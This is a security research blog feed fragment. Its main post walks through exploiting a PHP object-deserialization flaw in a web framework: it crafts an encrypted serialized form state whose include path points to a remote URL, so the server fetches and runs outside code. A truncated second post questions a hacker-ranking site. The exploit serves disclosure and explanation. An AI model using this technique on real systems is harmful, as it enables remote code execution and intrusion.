&lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;                                                                                         &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;                                               &lt;code&gt;if (array_key_exists('Qform__FormId', $_POST) &amp;amp;&amp;amp; ($_POST['Qform__FormId'] == $strFormId) &amp;amp;&amp;amp; array_key_exists('Qform__FormState', $_POST)) {&lt;br /&gt;$strPostDataState = $_POST['Qform__FormState'];&lt;br /&gt;if ($strPostDataState)&lt;br /&gt;// We might have a valid form state -- let's see by unserializing this object&lt;br /&gt;$objClass = QForm::Unserialize($strPostDataState);&lt;br /&gt;// If there is no QForm Class, then we have an Invalid Form State&lt;br /&gt;if (!$objClass) throw new QInvalidFormStateException($strFormId);&lt;br /&gt;}&lt;/code&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;                                               &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;5) The QFormBase class definition is as follows:&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;abstract class QFormBase extends QBaseClass {&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;So, it is impossible to create an object of the QFormBase type (since the class is abstract). Moreover, there is no need to do so since the given Run method cannot be called. &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;6) Let’s search for a class both non-abstract and inherited from QFormBase. Such a class called Dushboard is found at &lt;i style=""&gt;&lt;u&gt;/www/drafts/dashboard/index.php. &lt;/u&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;Below the class creation code, you can see the following call line:&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;Dashboard::Run('Dashboard');&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;7) To exploit the code, let’s send an encrypted serialized object in the &lt;i style=""&gt;$_POST['Qform__FormState']&lt;/i&gt; parameter and specify the correct class name in the &lt;i style=""&gt;$_POST['Qform__FormId'&lt;/i&gt;] parameter. It should be the same name that was passed to the Run() method. In our case, it is &lt;i style=""&gt;Dashboard&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;8) Not to reinvent the wheel, let’s use the encryption methods from the framework of the same version in the exploit. The &lt;i style=""&gt;QFormStateHandler::Save($strFormState, $blnBackButtonFlag)&lt;/i&gt; method is responsible for saving and encrypting a serialized object. &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;9) Let’s create an object and try to serialize it:&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;class Dashboard extends QForm {&lt;br /&gt;public function __construct() {}&lt;br /&gt;}&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;$a=new Dashboard();&lt;br /&gt;$a=serialize($a);&lt;br /&gt;$a=QFormStateHandler::Save($a, false);&lt;br /&gt;echo $a;&lt;/code&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;10) Now let’s send the derived string in the appropriate parameter of a POST request. The results read: &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;Invalid argument supplied for foreach()&lt;br /&gt;In line 231:                                                             foreach ($objClass-&amp;gt;objControlArray as $objControl) {&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;11) Let’s create all necessary arrays for the series of analogous errors that were revealed when developing the exploit. The resultant class is provided below: &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;                &lt;code&gt;class Dashboard extends QForm {&lt;br /&gt;public function __construct() {&lt;br /&gt;$this-&amp;gt;objControlArray = array();&lt;br /&gt;$this-&amp;gt;objGroupingArray = array();&lt;br /&gt;}&lt;br /&gt;}&lt;/code&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;12) Finally, we find the most curious error: &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;require() [&lt;a href="http://www.blogger.com/function.require"&gt;function.require&lt;/a&gt;]: Filename cannot be empty&lt;br /&gt;Line 827:                                             require($this-&amp;gt;HtmlIncludeFilePath);&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;13) To prevent the linked framework from errors, you can set a value for the $this-&amp;gt;HtmlIncludeFilePath field. This is how you do it:&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;require(dirname(__FILE__) . '/../includes/prepend.inc.php');&lt;br /&gt;class Dashboard extends QForm {&lt;br /&gt;public function __construct() {&lt;br /&gt;$this-&amp;gt;objControlArray = array();&lt;br /&gt;$this-&amp;gt;objGroupingArray = array();&lt;br /&gt;$this-&amp;gt;HtmlIncludeFilePath = "1.txt";&lt;br /&gt;}&lt;br /&gt;}&lt;/code&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;$a=new Dashboard();&lt;br /&gt;$a=serialize($a);&lt;br /&gt;$a=str_replace('s:34:"Y:\home\test2.ru\www\ASV\www\1.txt"','s:21:"http://test1.ru/i.txt"', $a);&lt;br /&gt;$a=QFormStateHandler::Save($a, false);&lt;br /&gt;echo $a;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;14) The engine requires that the file being linked contain the following two lines: &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;$this-&amp;gt;RenderBegin();&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;and&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;$this-&amp;gt;RenderEnd();&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;Let’s add them, though it’s not necessary at all – the file executes without them just the same. These lines are used only to make the code execution results more easy-to-view. If it is possible to link only local files, you can do without these lines because in the standard error notification form, the linkup result is readable from the source code. &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;Real systems do not always have the Dushboard class. In this case, you can sniff any POST request and view the value of the Qform__FormId parameter. Then, just give this name to the class you created. &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;This vulnerability occurs because PHP when deserializing an object recopies its base class fields as well. For instance, in Java and the .NET languages a programmer has to explicitly indicate whether the basic class fields should be recovered from the serialized class (e.g. via ‘implement Serialize’ for basic classes in Java). PHP does not allow for such a field protection, which triggers vulnerabilities like the one described above.&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-8281391534375771806?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/09/asv-vulnerabilities.html</link><author>noreply@blogger.com (Denis Baranov)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-BvtQjjPpASE/TnngfcBnpnI/AAAAAAAAAAY/rfE-o_SKyIQ/s72-c/screen.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-3689726754365675572</guid><pubDate>Mon, 29 Aug 2011 19:39:00 +0000</pubDate><atom:updated>2011-11-15T05:20:32.216-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack</category><category domain="http://www.blogger.com/atom/ns#">web security</category><title>RankMyHack.Com – Who is the coolest web hacker</title><description>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-rAUYFR_fzow/TsJm2XLFfJI/AAAAAAAAABE/wl-AxR2EtRM/s1600/111111111.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 134px;" src="http://3.bp.blogspot.com/-rAUYFR_fzow/TsJm2XLFfJI/AAAAAAAAABE/wl-AxR2EtRM/s200/111111111.jpg" alt="" id="BLOGGER_PHOTO_ID_5675211564559727762" border="0" /&gt;&lt;/a&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;Who is the coolest web hacker? Everyone who is involved in the field of information security asks this question from time to time. LulzSecurity? &lt;span style="mso-spacerun:yes"&gt; &lt;/span&gt;Anonymous? Anyone&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;else&lt;/span&gt;? &lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;It seems impossible to objectively identify someone as the best one. However, a site appeared in the Net a couple weeks ago which is aimed at determining who the best hacker is indeed! This site is &lt;/span&gt;&lt;a href="http://rankmyhack.com/"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;http://RankMyHack.com&lt;/span&gt;&lt;/a&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;. As soon as the resource was created, information about it started spreading all over the Internet. Serious Internet sources such as New York Times mentioned this site in their pages. Numerous hackers rushed to find out who is the coolest one among them …&lt;/span&gt;&lt;/div&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;As for the resource – its developers allow web hackers to estimate any break-in “objectively.” For every submission of a website hack, the participant receives points. The bigger the points, the higher the participant is in the rating. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;The RankMyHack.Com project also provides a feature of estimating any web site. I got interested in the functions of this chart and decided to check my own home page… The result was confusing. The points gained for “compromise” of a third-level domain home page are equal to the points gained for real compromise of a second-level domain page! This fact made me doubt the reliability of data represented in the project’s rating. Meanwhile, respected media were already publishing information about outstanding compromises of rambler.ru, google.com, narod.ru… It was decided to put everything to test.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;At first, a website supersite.ucoz.lv was registered. The next step was to find out how many points a participant will receive if he/she proves a successful attack against this site.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;img src="data:image/png;base64,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